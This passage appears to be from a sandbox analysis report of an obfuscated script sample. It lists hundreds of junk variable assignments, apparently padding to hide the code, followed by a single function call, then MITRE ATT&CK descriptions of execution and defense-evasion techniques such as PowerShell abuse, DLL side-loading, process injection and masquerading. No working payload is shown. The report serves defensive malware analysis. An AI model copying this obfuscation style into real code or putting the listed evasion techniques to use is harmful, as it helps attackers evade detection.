563	zuhxrs = "v";
564	zuhxrs = "c";
565	zuhxrs = "b";
566	zuhxrs = "p";
567	zuhxrs = "K";
568	zuhxrs = "I";
569	zuhxrs = "C";
570	zuhxrs = "b";
571	zuhxrs = "P";
572	zuhxrs = "A";
573	zuhxrs = "R";
574	zuhxrs = "p";
575	zuhxrs = "f";
576	zuhxrs = "V";
577	zuhxrs = "r";
578	zuhxrs = "J";
579	zuhxrs = "o";
580	zuhxrs = "V";
581	zuhxrs = "v";
582	zuhxrs = "e";
583	zuhxrs = "A";
584	zuhxrs = "v";
585	zuhxrs = "g";
586	zuhxrs = "J";
587	zuhxrs = "i";
588	zuhxrs = "Q";
589	zuhxrs = "h";
590	zuhxrs = "b";
591	zuhxrs = "h";
592	dpgqocxn = "J";
593	dpgqocxn = "h";
594	dpgqocxn = "u";
595	dpgqocxn = "X";
596	dpgqocxn = "p";
597	dpgqocxn = "K";
598	dpgqocxn = "K";
599	dpgqocxn = "c";
600	dpgqocxn = "K";
601	dpgqocxn = "M";
602	dpgqocxn = "M";
603	dpgqocxn = "D";
604	dpgqocxn = "V";
605	dpgqocxn = "o";
606	dpgqocxn = "A";
607	dpgqocxn = "l";
608	dpgqocxn = "C";
609	dpgqocxn = "N";
610	dpgqocxn = "N";
611	dpgqocxn = "j";
612	dpgqocxn = "o";
613	dpgqocxn = "l";
614	dpgqocxn = "H";
615	dpgqocxn = "E";
616	anyaecyxy = "g";
617	zdyuah = "H";
618	zdyuah = "n";
619	zdyuah = "a";
620	zdyuah = "C";
621	zdyuah = "F";
622	zdyuah = "i";
623	zdyuah = "T";
624	zdyuah = "d";
625	zdyuah = "t";
626	zdyuah = "o";
627	zdyuah = "P";
628	zdyuah = "R";
629	zdyuah = "i";
630	zdyuah = "H";
631	zdyuah = "g";
632	zdyuah = "c";
633	zdyuah = "P";
634	zdyuah = "O";
635	zdyuah = "F";
636	zdyuah = "Q";
637	zdyuah = "Y";
638	zdyuah = "S";
639	zdyuah = "w";
640	zdyuah = "Z";
641	zdyuah = "e";
642	zdyuah = "P";
643	zdyuah = "O";
644	zdyuah = "m";
645	zdyuah = "w";
646	zdyuah = "u";
647	niustxtw = "H";
648	niustxtw = "L";
649	niustxtw = "K";
650	niustxtw = "a";
651	niustxtw = "o";
652	niustxtw = "m";
653	niustxtw = "m";
654	niustxtw = "B";
655	niustxtw = "z";
656	niustxtw = "d";
657	niustxtw = "b";
658	niustxtw = "r";
659	niustxtw = "M";
660	niustxtw = "G";
661	niustxtw = "z";
662	niustxtw = "c";
663	niustxtw = "j";
664	niustxtw = "o";
665	niustxtw = "V";
666	niustxtw = "G";
667	niustxtw = " ";
668	lzemwb = "i";
669	lzemwb = "D";
670	lzemwb = "t";
671	lzemwb = "J";
672	lzemwb = "O";
673	lzemwb = "R";
674	lzemwb = "I";
675	lzemwb = "T";
676	lzemwb = "j";
677	lzemwb = "s";
678	lzemwb = "p";
679	lzemwb = "b";
680	lzemwb = "y";
681	lzemwb = "y";
682	lzemwb = "E";
683	lzemwb = "R";
684	lzemwb = "a";
685	lzemwb = "l";
686	lzemwb = "g";
687	lzemwb = "N";
688	lzemwb = "k";
689	lzemwb = "I";
690	lzemwb = "3";
691	gnrjbkywe = "b";
692	gnrjbkywe = "U";
693	gnrjbkywe = "t";
694	gnrjbkywe = "v";
695	gnrjbkywe = "I";
696	gnrjbkywe = "Z";
697	gnrjbkywe = "t";
698	gnrjbkywe = "l";
699	gnrjbkywe = "J";
700	gnrjbkywe = "g";
701	gnrjbkywe = "f";
702	gnrjbkywe = "R";
703	gnrjbkywe = "\\";
704	zovtqwwwe = "c";
705	zovtqwwwe = "H";
706	zovtqwwwe = "S";
707	zovtqwwwe = "E";
708	zovtqwwwe = "v";
709	zovtqwwwe = "B";
710	zovtqwwwe = "e";
711	zovtqwwwe = "P";
712	zovtqwwwe = "E";
713	zovtqwwwe = "A";
714	zovtqwwwe = "h";
715	zovtqwwwe = "b";
716	zovtqwwwe = "o";
717	zovtqwwwe = "n";
718	zovtqwwwe = "i";
719	zovtqwwwe = "g";
720	zovtqwwwe = "f";
721	zovtqwwwe = "l";
722	zovtqwwwe = "F";
723	zovtqwwwe = "N";
724	zovtqwwwe = "u";
725	zovtqwwwe = "K";
726	zovtqwwwe = "F";
727	zovtqwwwe = "t";
728	zovtqwwwe = "c";
729	zovtqwwwe = "j";
730	zovtqwwwe = "I";
731	zovtqwwwe = "r";
732	zovtqwwwe = "k";
733	zovtqwwwe = "I";
734	zovtqwwwe = "i";
735	zovtqwwwe = "h";
736	zovtqwwwe = "z";
737	zovtqwwwe = "x";
738	zovtqwwwe = "N";
739	zovtqwwwe = "N";
740	zovtqwwwe = "e";
741	zovtqwwwe = "B";
742	zovtqwwwe = "T";
743	zovtqwwwe = "@";
744	zrixtwrs = "i";
745	zrixtwrs = "a";
746	zrixtwrs = "R";
747	zrixtwrs = "P";
748	zrixtwrs = "c";
749	zrixtwrs = "f";
750	zrixtwrs = "M";
751	zrixtwrs = "U";
752	zrixtwrs = "f";
753	zrixtwrs = "e";
754	zrixtwrs = "y";
755	zrixtwrs = "J";
756	zrixtwrs = "g";
757	zrixtwrs = "S";
758	zrixtwrs = "g";
759	zrixtwrs = "z";
760	zrixtwrs = "t";
761	zrixtwrs = "l";
762	zrixtwrs = "a";
763	zrixtwrs = "I";
764	zrixtwrs = "V";
765	zrixtwrs = "d";
766	zrixtwrs = "%";
767	vdbrlb = "c";
768	vdbrlb = "S";
769	vdbrlb = "N";
770	vdbrlb = "R";
771	vdbrlb = "P";
772	vdbrlb = "Z";
773	vdbrlb = "t";
774	vdbrlb = "g";
775	vdbrlb = "5";
776	iongw = "G";
777	iongw = "J";
778	iongw = "M";
779	iongw = "w";
780	iongw = "d";
781	iongw = "G";
782	iongw = "m";
783	iongw = "o";
784	iongw = "z";
785	iongw = "A";
786	iongw = "U";
787	iongw = "r";
788	qzbuclbt = "Q";
789	qzbuclbt = "q";
790	qzbuclbt = "C";
791	qzbuclbt = "o";
792	qzbuclbt = "h";
793	qzbuclbt = "F";
794	qzbuclbt = "X";
795	qzbuclbt = "t";
796	qzbuclbt = "u";
797	qzbuclbt = "c";
798	qzbuclbt = "I";
799	qzbuclbt = "I";
800	qzbuclbt = "g";
801	qzbuclbt = "J";
802	qzbuclbt = "U";
803	qzbuclbt = "N";
804	qzbuclbt = "d";
805	qzbuclbt = "W";
806	qzbuclbt = "e";
807	qzbuclbt = "t";
808	qzbuclbt = "E";
809	qzbuclbt = "W";
810	qzbuclbt = "m";
811	qzbuclbt = "Y";
812	qzbuclbt = "V";
813	qzbuclbt = "G";
814	qzbuclbt = "w";
815	qzbuclbt = "d";
816	qzbuclbt = "x";
817	adocutnx = "V";
818	adocutnx = "f";
819	adocutnx = "k";
820	adocutnx = "w";
821	adocutnx = "U";
822	adocutnx = "m";
823	adocutnx = "g";
824	adocutnx = "p";
825	adocutnx = "C";
826	adocutnx = "A";
827	adocutnx = "E";
828	adocutnx = "F";
829	adocutnx = "J";
830	adocutnx = "M";
831	adocutnx = "K";
832	uzjkgyx = "E";
833	uzjkgyx = "n";
834	uzjkgyx = "o";
835	uzjkgyx = "P";
836	uzjkgyx = "X";
837	uzjkgyx = "e";
838	uzjkgyx = "Y";
839	uzjkgyx = "d";
840	uzjkgyx = "x";
841	uzjkgyx = "S";
842	uzjkgyx = "I";
843	uzjkgyx = "X";
844	uzjkgyx = "c";
845	uzjkgyx = "U";
846	uzjkgyx = "R";
847	uzjkgyx = "X";
848	uzjkgyx = "N";
849	uzjkgyx = "x";
850	uzjkgyx = "v";
851	uzjkgyx = "G";
852	uzjkgyx = "X";
853	uzjkgyx = "i";
854	uzjkgyx = "d";
855	uzjkgyx = "w";
856	uzjkgyx = "F";
857	uzjkgyx = "z";
858	uzjkgyx = "r";
859	uzjkgyx = "m";
860	uzjkgyx = "p";
861	uzjkgyx = "q";
862	uzjkgyx = "D";
863	uzjkgyx = "w";
864	uzjkgyx = "0";
865	yjmvydcx = "J";
866	yjmvydcx = "p";
867	yjmvydcx = "A";
868	yjmvydcx = "K";
869	yjmvydcx = "g";
870	yjmvydcx = "p";
871	yjmvydcx = "n";
872	yjmvydcx = "P";
873	yjmvydcx = "V";
874	yjmvydcx = "Z";
875	yjmvydcx = "E";
876	yjmvydcx = "Q";
877	yjmvydcx = "n";
878	yjmvydcx = "x";
879	yjmvydcx = "v";
880	yjmvydcx = "L";
881	yjmvydcx = "s";
882	yjmvydcx = "G";
883	yjmvydcx = "i";
884	yjmvydcx = "G";
885	yjmvydcx = "M";
886	yjmvydcx = "r";
887	yjmvydcx = "y";
888	yjmvydcx = "G";
889	yjmvydcx = "t";
890	yjmvydcx = "w";
891	yjmvydcx = "A";
892	yjmvydcx = "o";
893	yjmvydcx = "I";
894	yjmvydcx = "c";
895	yjmvydcx = "C";
896	yjmvydcx = "p";
897	yjmvydcx = "m";
898	yjmvydcx = "i";
899	yjmvydcx = "E";
900	yjmvydcx = "D";
901	yjmvydcx = "R";
902	yjmvydcx = "p";
903	vczzy = "Z";
904	vczzy = "E";
905	vczzy = "F";
906	vczzy = "V";
907	vczzy = "U";
908	vczzy = "G";
909	vczzy = "L";
910	vczzy = "r";
911	vczzy = "A";
912	vczzy = "M";
913	vczzy = "c";
914	vczzy = "N";
915	vczzy = "r";
916	vczzy = "H";
917	vczzy = "b";
918	vczzy = "H";
919	vczzy = "U";
920	vczzy = "l";
921	vczzy = "I";
922	vczzy = "l";
923	vczzy = "Y";
924	vczzy = "V";
925	vczzy = "v";
926	vczzy = "Y";
927	vczzy = "F";
928	vczzy = "h";
929	vczzy = "S";
930	pasobavv = "u";
931	pasobavv = "y";
932	pasobavv = "A";
933	pasobavv = "l";
934	pasobavv = "K";
935	pasobavv = "R";
936	pasobavv = "V";
937	pasobavv = "U";
938	pasobavv = "J";
939	pasobavv = "j";
940	pasobavv = "h";
941	pasobavv = "g";
942	pasobavv = "z";
943	pasobavv = "d";
944	pasobavv = "E";
945	pasobavv = "A";
946	pasobavv = "T";
947	pasobavv = "C";
948	pasobavv = "Q";
949	pasobavv = "i";
950	pasobavv = "Z";
951	pasobavv = "d";
952	pasobavv = "u";
953	pasobavv = "C";
954	pasobavv = "b";
955	pasobavv = "y";
956	pasobavv = "L";
957	pasobavv = "z";
958	pasobavv = "a";
959	pasobavv = "x";
960	pasobavv = "I";
961	pasobavv = "y";
962	pasobavv = "a";
963	uszxo = "f";
964	uszxo = "C";
965	uszxo = "I";
966	uszxo = "d";
967	uszxo = "S";
968	uszxo = "X";
969	uszxo = "Q";
970	uszxo = "P";
971	uszxo = "Y";
972	uszxo = "J";
973	uszxo = "f";
974	uszxo = "E";
975	uszxo = "c";
976	uszxo = "Q";
977	uszxo = "M";
978	uszxo = "j";
979	uszxo = "k";
980	uszxo = "y";
981	uszxo = "E";
982	uszxo = "N";
983	uszxo = "j";
984	uszxo = "J";
985	uszxo = "j";
986	uszxo = "S";
987	uszxo = "w";
988	uszxo = "R";
989	uszxo = "Q";
990	uszxo = "x";
991	uszxo = "C";
992	uszxo = "-";
993	fxlbn = "k";
994	fxlbn = "V";
995	fxlbn = "M";
996	fxlbn = "e";
997	fxlbn = "B";
998	fxlbn = "b";
999	fxlbn = "a";
1000	fxlbn = "M";
1001	fxlbn = "O";
1002	fxlbn = "i";
1003	fxlbn = "m";
1004	fxlbn = "k";
1005	fxlbn = "h";
1006	fxlbn = "J";
1007	fxlbn = "c";
1008	fxlbn = "W";
1009	fxlbn = "L";
1010	fxlbn = "g";
1011	fxlbn = "l";
1012	fxlbn = "a";
1013	fxlbn = "B";
1014	fxlbn = "r";
1015	fxlbn = "I";
1016	fxlbn = "m";
1017	fxlbn = "c";
1018	fxlbn = "L";
1019	fxlbn = "f";
1020	fxlbn = "y";
1021	fxlbn = "H";
1022	fxlbn = "z";
1023	fxlbn = "D";
1024	fxlbn = "z";
1025	fxlbn = "&";
1026	bactu = "Q";
1027	bactu = "A";
1028	bactu = "s";
1029	bactu = "Y";
1030	bactu = "U";
1031	bactu = "T";
1032	bactu = "c";
1033	bactu = "C";
1034	bactu = "q";
1035	bactu = "y";
1036	bactu = "e";
1037	bactu = "C";
1038	bactu = "H";
1039	bactu = "d";
1040	bactu = "W";
1041	bactu = "P";
1042	bactu = "n";
1043	bactu = "s";
1044	bactu = "M";
1045	bactu = "h";
1046	bactu = "R";
1047	bactu = "o";
1048	bactu = "8";
1049	fvczng = "j";
1050	fvczng = "g";
1051	fvczng = "w";
1052	fvczng = "k";
1053	fvczng = "L";
1054	fvczng = "j";
1055	fvczng = "u";
1056	fvczng = "e";
1057	fvczng = "S";
1058	fvczng = "b";
1059	fvczng = "s";
1060	fvczng = "A";
1061	fvczng = "u";
1062	fvczng = "R";
1063	fvczng = "r";
1064	fvczng = "e";
1065	fvczng = "V";
1066	fvczng = "p";
1067	fvczng = "b";
1068	fvczng = "h";
1069	fvczng = "T";
1070	fvczng = "T";
1071	fvczng = "N";
1072	fvczng = "K";
1073	fvczng = "9";
1074	hkfpcgon = "L";
1075	hkfpcgon = "s";
1076	hkfpcgon = "O";
1077	hkfpcgon = "e";
1078	hkfpcgon = "z";
1079	hkfpcgon = "K";
1080	hkfpcgon = "z";
1081	hkfpcgon = "J";
1082	hkfpcgon = "D";
1083	hkfpcgon = "P";
1084	hkfpcgon = "T";
1085	hkfpcgon = "h";
1086	hkfpcgon = "P";
1087	hkfpcgon = "A";
1088	hkfpcgon = "o";
1089	hkfpcgon = "y";
1090	hkfpcgon = "2";
1091	fcjlrknfy = "P";
1092	fcjlrknfy = "v";
1093	fcjlrknfy = "p";
1094	fcjlrknfy = "t";
1095	fcjlrknfy = "o";
1096	fcjlrknfy = "o";
1097	fcjlrknfy = "w";
1098	fcjlrknfy = "E";
1099	fcjlrknfy = "q";
1100	fkzpqwopn = "y";
1101	fkzpqwopn = "D";
1102	fkzpqwopn = "P";
1103	fkzpqwopn = "A";
1104	fkzpqwopn = "c";
1105	fkzpqwopn = "P";
1106	fkzpqwopn = "c";
1107	fkzpqwopn = "W";
1108	fkzpqwopn = "w";
1109	fkzpqwopn = "o";
1110	fkzpqwopn = "n";
1111	fkzpqwopn = "x";
1112	fkzpqwopn = "v";
1113	fkzpqwopn = "u";
1114	fkzpqwopn = "j";
1115	fkzpqwopn = "W";
1116	fkzpqwopn = "X";
1117	fkzpqwopn = "M";
1118	fkzpqwopn = "q";
1119	fkzpqwopn = "h";
1120	fkzpqwopn = "W";
1121	fkzpqwopn = "S";
1122	fkzpqwopn = "k";
1123	fkzpqwopn = "Y";
1124	fkzpqwopn = "t";
1125	fkzpqwopn = "S";
1126	fkzpqwopn = "x";
1127	fkzpqwopn = "c";
1128	fkzpqwopn = "I";
1129	fkzpqwopn = "Q";
1130	fkzpqwopn = "t";
1131	fkzpqwopn = "J";
1132	fkzpqwopn = "O";
1133	fkzpqwopn = "M";
1134	fkzpqwopn = "y";
1135	fkzpqwopn = "T";
1136	fkzpqwopn = "6";
1137	elrvb = "T";
1138	elrvb = "a";
1139	elrvb = "f";
1140	elrvb = "h";
1141	elrvb = "G";
1142	elrvb = "R";
1143	elrvb = "w";
1144	elrvb = "h";
1145	elrvb = "z";
1146	elrvb = "u";
1147	elrvb = "B";
1148	elrvb = "z";
1149	elrvb = "P";
1150	elrvb = "S";
1151	elrvb = "V";
1152	elrvb = "a";
1153	elrvb = "v";
1154	elrvb = "a";
1155	elrvb = "f";
1156	elrvb = "k";
1157	elrvb = "C";
1158	elrvb = "L";
1159	elrvb = "R";
1160	elrvb = "R";
1161	elrvb = "v";
1162	elrvb = "L";
1163	elrvb = "t";
1164	elrvb = "R";
1165	elrvb = "p";
1166	elrvb = "G";
1167	elrvb = "n";
1168	elrvb = "L";
1169	elrvb = "s";
1170	elrvb = "r";
1171	elrvb = "H";
1172	elrvb = "G";
1173	elrvb = "A";
1174	elrvb = "L";
1175	elrvb = "m";
1176	elrvb = "d";
1177	nhthyic = "l";
1178	nhthyic = "E";
1179	nhthyic = "y";
1180	nhthyic = "d";
1181	nhthyic = "O";
1182	nhthyic = "X";
1183	nhthyic = "V";
1184	nhthyic = "g";
1185	nhthyic = "M";
1186	nhthyic = "z";
1187	nhthyic = "T";
1188	nhthyic = "w";
1189	nhthyic = "q";
1190	nhthyic = "K";
1191	nhthyic = "H";
1192	nhthyic = "M";
1193	nhthyic = "l";
1194	nhthyic = "J";
1195	nhthyic = "E";
1196	nhthyic = "q";
1197	nhthyic = "Z";
1198	nhthyic = "e";
1199	nhthyic = "k";
1200	nhthyic = "Z";
1201	nhthyic = "Q";
1202	nhthyic = "N";
1203	nhthyic = "n";
1204	nhthyic = "G";
1205	nhthyic = "x";
1206	nhthyic = "i";
1207	nhthyic = "R";
1208	nhthyic = "k";
1209	nhthyic = "I";
1210	nhthyic = "t";
1211	nhthyic = "S";
1212	nhthyic = "4";
1213	ofvvc = "H";
1214	ofvvc = "D";
1215	ofvvc = "S";
1216	ofvvc = "d";
1217	ofvvc = "K";
1218	ofvvc = "W";
1219	ofvvc = "e";
1220	ofvvc = "M";
1221	ofvvc = "A";
1222	ofvvc = "h";
1223	ofvvc = "V";
1224	ofvvc = "w";
1225	ofvvc = "A";
1226	ofvvc = "b";
1227	ofvvc = "K";
1228	ofvvc = "F";
1229	ofvvc = "T";
1230	ofvvc = "P";
1231	ofvvc = "U";
1232	ofvvc = "a";
1233	ofvvc = "i";
1234	ofvvc = "a";
1235	ofvvc = "o";
1236	fcpffril = "L";
1237	fcpffril = "k";
1238	fcpffril = "d";
1239	fcpffril = "H";
1240	fcpffril = "E";
1241	fcpffril = "M";
1242	fcpffril = "Z";
1243	fcpffril = "e";
1244	fcpffril = "m";
1245	fcpffril = "R";
1246	fcpffril = "p";
1247	fcpffril = "R";
1248	fcpffril = "W";
1249	fcpffril = "l";
1250	fcpffril = "S";
1251	fcpffril = "u";
1252	fcpffril = "d";
1253	fcpffril = "Z";
1254	fcpffril = "H";
1255	fcpffril = "b";
1256	fcpffril = "Y";
1257	fcpffril = "v";
1258	fcpffril = "P";
1259	fcpffril = "T";
1260	fcpffril = "k";
1261	fcpffril = "B";
1262	fcpffril = "N";
1263	fcpffril = "n";
1264	fcpffril = "z";
1265	fcpffril = "W";
1266	fcpffril = "k";
1267	fcpffril = "A";
1268	fcpffril = "c";
1269	fcpffril = "a";
1270	fcpffril = "k";
1271	fcpffril = "U";
1272	fcpffril = "e";
1273	fcpffril = "L";
1274	aqmwt = "A";
1275	aqmwt = "Q";
1276	aqmwt = "u";
1277	aqmwt = "O";
1278	aqmwt = "q";
1279	aqmwt = "j";
1280	aqmwt = "u";
1281	aqmwt = "o";
1282	aqmwt = "X";
1283	aqmwt = "U";
1284	aqmwt = "p";
1285	aqmwt = "Z";
1286	aqmwt = "y";
1287	aqmwt = "h";
1288	aqmwt = "I";
1289	aqmwt = "D";
1290	aqmwt = "B";
1291	aqmwt = "u";
1292	aqmwt = "v";
1293	aqmwt = "H";
1294	aqmwt = "t";
1295	vqpspwwi = "A";
1296	vqpspwwi = "e";
1297	vqpspwwi = "t";
1298	vqpspwwi = "m";
1299	vqpspwwi = "a";
1300	vqpspwwi = "f";
1301	vqpspwwi = "Y";
1302	vqpspwwi = "j";
1303	vqpspwwi = "p";
1304	vqpspwwi = "v";
1305	vqpspwwi = "W";
1306	vqpspwwi = "D";
1307	vqpspwwi = "G";
1308	vqpspwwi = "K";
1309	vqpspwwi = "X";
1310	vqpspwwi = "k";
1311	vqpspwwi = "M";
1312	vqpspwwi = "J";
1313	vqpspwwi = "a";
1314	vqpspwwi = "7";
1315	emhbs = "g";
1316	emhbs = "o";
1317	emhbs = "d";
1318	emhbs = "k";
1319	emhbs = "k";
1320	emhbs = "R";
1321	emhbs = "C";
1322	emhbs = "Q";
1323	emhbs = "e";
1324	emhbs = "T";
1325	emhbs = "w";
1326	emhbs = "q";
1327	emhbs = "f";
1328	emhbs = "N";
1329	emhbs = "O";
1330	emhbs = "y";
1331	emhbs = "Q";
1332	emhbs = "x";
1333	emhbs = "P";
1334	emhbs = "g";
1335	emhbs = "f";
1336	emhbs = "O";
1337	emhbs = "n";
1338	kqocmryz = "G";
1339	kqocmryz = "O";
1340	kqocmryz = "n";
1341	kqocmryz = "Z";
1342	kqocmryz = "V";
1343	kqocmryz = "p";
1344	kqocmryz = "c";
1345	kqocmryz = "D";
1346	kqocmryz = "g";
1347	kqocmryz = "k";
1348	kqocmryz = "L";
1349	kqocmryz = "x";
1350	kqocmryz = "G";
1351	kqocmryz = "U";
1352	kqocmryz = "w";
1353	kqocmryz = "v";
1354	kqocmryz = "T";
1355	kqocmryz = "f";
1356	kqocmryz = "H";
1357	kqocmryz = "Y";
1358	kqocmryz = "p";
1359	kqocmryz = ".";
1360	ulszwl = "Q";
1361	ulszwl = "J";
1362	ulszwl = "H";
1363	ulszwl = "m";
1364	ulszwl = "x";
1365	ulszwl = "H";
1366	ulszwl = "S";
1367	ulszwl = "K";
1368	ulszwl = "p";
1369	ulszwl = "L";
1370	ulszwl = "Q";
1371	ulszwl = "c";
1372	ulszwl = "I";
1373	ulszwl = "H";
1374	ulszwl = "s";
1375	ulszwl = "U";
1376	ulszwl = "d";
1377	ulszwl = "l";
1378	ulszwl = "y";
1379	ulszwl = "R";
1380	ulszwl = "T";
1381	ulszwl = "C";
1382	ulszwl = "c";
1383	ulszwl = "Y";
1384	ulszwl = "I";
1385	ulszwl = "E";
1386	ulszwl = "y";
1387	ulszwl = "g";
1388	ulszwl = "z";
1389	ulszwl = "x";
1390	ulszwl = "K";
1391	ulszwl = "Z";
1392	ulszwl = "v";
1393	ulszwl = "C";
1394	ulszwl = "v";
1395	ulszwl = "R";
1396	ulszwl = "c";
1397	ulszwl = "s";
1398	ulszwl = "U";
1399	ulszwl = "g";
1400	ulszwl = "f";
1401	ulszwl = "Z";
1402	ulszwl = "k";
1403	ulszwl = "/";
1404	mtfat = "S";
1405	mtfat = "L";
1406	mtfat = "A";
1407	mtfat = "e";
1408	mtfat = "Q";
1409	mtfat = "u";
1410	mtfat = "W";
1411	mtfat = "r";
1412	mtfat = "c";
1413	mtfat = "G";
1414	mtfat = "s";
1415	zafzi = "x";
1416	zafzi = "v";
1417	zafzi = "J";
1418	zafzi = "b";
1419	zafzi = "C";
1420	zafzi = "z";
1421	zafzi = "V";
1422	zafzi = "Q";
1423	zafzi = "T";
1424	zafzi = "j";
1425	zafzi = "s";
1426	zafzi = "y";
1427	zafzi = "c";
1428	zafzi = "K";
1429	zafzi = "R";
1430	zafzi = "a";
1431	zafzi = "L";
1432	zafzi = "V";
1433	zafzi = "i";
1434	zafzi = "1";
1435	ftkadh = "q";
1436	ftkadh = "W";
1437	ftkadh = "T";
1438	ftkadh = "Y";
1439	ftkadh = "X";
1440	ftkadh = "b";
1441	ftkadh = "b";
1442	ftkadh = "t";
1443	ftkadh = "f";
1444	ftkadh = "M";
1445	ftkadh = "P";
1446	ftkadh = "k";
1447	ftkadh = "E";
1448	ftkadh = "z";
1449	ftkadh = "n";
1450	ftkadh = "c";
1451	ftkadh = "A";
1452	ftkadh = "L";
1453	ftkadh = "y";
1454	ftkadh = "S";
1455	ftkadh = "G";
1456	ftkadh = "D";
1457	ftkadh = "r";
1458	ftkadh = "W";
1459	ftkadh = "N";
1460	ftkadh = "u";
1461	ftkadh = "S";
1462	ftkadh = "J";
1463	ftkadh = "X";
1464	ftkadh = "T";
1465	ftkadh = "f";
1466	ftkadh = "O";
1467	ftkadh = "X";
1468	ftkadh = "R";
1469	ftkadh = "e";
1470	xpcxbnrdh = "v";
1471	xpcxbnrdh = "V";
1472	xpcxbnrdh = "o";
1473	xpcxbnrdh = "y";
1474	xpcxbnrdh = "b";
1475	xpcxbnrdh = "c";
1476	xpcxbnrdh = "s";
1477	xpcxbnrdh = "R";
1478	xpcxbnrdh = "I";
1479	xpcxbnrdh = "g";
1480	xpcxbnrdh = "V";
1481	xpcxbnrdh = "L";
1482	xpcxbnrdh = "t";
1483	xpcxbnrdh = "o";
1484	xpcxbnrdh = "e";
1485	xpcxbnrdh = "F";
1486	xpcxbnrdh = "k";
1487	xpcxbnrdh = "a";
1488	xpcxbnrdh = "l";
1489	xpcxbnrdh = "T";
1490	tmjvv = "l";
1491	tmjvv = "Y";
1492	tmjvv = "D";
1493	tmjvv = "G";
1494	tmjvv = "k";
1495	tmjvv = "v";
1496	tmjvv = "x";
1497	tmjvv = "n";
1498	tmjvv = "q";
1499	tmjvv = "R";
1500	tmjvv = "k";
1501	tmjvv = "p";
1502	tmjvv = "l";
1503	tmjvv = "L";
1504	tmjvv = "Y";
1505	tmjvv = "o";
1506	tmjvv = "P";
1507	tmjvv = "V";
1508	tmjvv = "D";
1509	tmjvv = "u";
1510	tmjvv = "o";
1511	tmjvv = "B";
1512	tmjvv = "w";
1513	tmjvv = "G";
1514	tmjvv = "b";
1515	tmjvv = "Z";
1516	tmjvv = "j";
1517	tmjvv = "x";
1518	tmjvv = "e";
1519	tmjvv = "_";
1520	pdbdzcg = "A";
1521	pdbdzcg = "n";
1522	pdbdzcg = "O";
1523	pdbdzcg = "x";
1524	pdbdzcg = "y";
1525	pdbdzcg = "r";
1526	pdbdzcg = "C";
1527	pdbdzcg = "F";
1528	pdbdzcg = "n";
1529	pdbdzcg = "B";
1530	pdbdzcg = "T";
1531	pdbdzcg = "R";
1532	pdbdzcg = "s";
1533	pdbdzcg = "v";
1534	pdbdzcg = "U";
1535	pdbdzcg = "E";
1536	pdbdzcg = "b";
1537	pdbdzcg = "W";
1538	pdbdzcg = "x";
1539	pdbdzcg = "z";
1540	pdbdzcg = "z";
1541	pdbdzcg = "W";
1542	pdbdzcg = "f";
1543	pdbdzcg = "A";
1544	pdbdzcg = "a";
1545	pdbdzcg = "g";
1546	pdbdzcg = "p";
1547	pdbdzcg = "C";
1548	pdbdzcg = "U";
1549	pdbdzcg = "r";
1550	pdbdzcg = "L";
1551	pdbdzcg = "u";
1552	pdbdzcg = "U";
1553	pdbdzcg = "x";
1554	pdbdzcg = "O";
1555	pdbdzcg = "n";
1556	pdbdzcg = "O";
1557	pdbdzcg = "U";
1558	ypjdbawe ( );	ypjdbawe() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
